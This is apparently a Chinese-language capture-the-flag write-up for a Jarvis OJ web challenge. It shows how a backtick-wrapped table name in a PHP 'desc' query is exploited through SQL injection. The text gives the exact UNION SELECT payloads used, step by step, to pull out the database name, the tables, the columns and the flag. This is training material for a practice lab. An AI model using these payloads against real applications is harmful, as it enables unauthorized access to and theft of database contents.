题目连接:
(http://web.jarvisoj.com:32794)
拿到题目扫一下目录发现页面源代码
源码分析
1.
`$table = $_GET['table']?$_GET['table']:"test";`
该代码为三目运算符:条件?结果1,结果2。根据源码判断table=test
2.
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
该代码为主要代码,分析发现由于table可控,想到在table后边拼接sql语句实现
主要考点在于反引号的作用。对于反引号在sql语句的作用百度发现:反引号 ` 在mysql中是为了区分mysql中的保留字符与普通字符而引入的符号。只是关乎于一个闭合字段的问题。
payload:
test` ` union select database() limit 1,1
拼接后结果为
desc `secret_test` ` union select database() limit 1,1`
注入成功后爆出数据库名:61d300
接下来就是爆数据表:
table=test` ` union select group_concat(table_name) from information_schema.tables where table_schema=0x363164333030 limit 1,1
爆出数据表为:secret_flag,secret_test
爆列名:
test` ` union select group_concat(column_name) from information_schema.columns where table_name=0x7365637265745F666C6167 limit 1,1
爆出列名为:flagUwillNeverKnow
最后爆字段:
test` ` union select group_concat(flagUwillNeverKnow) from secret_flag limit 1,1
获取flag:flag{luckyGame~}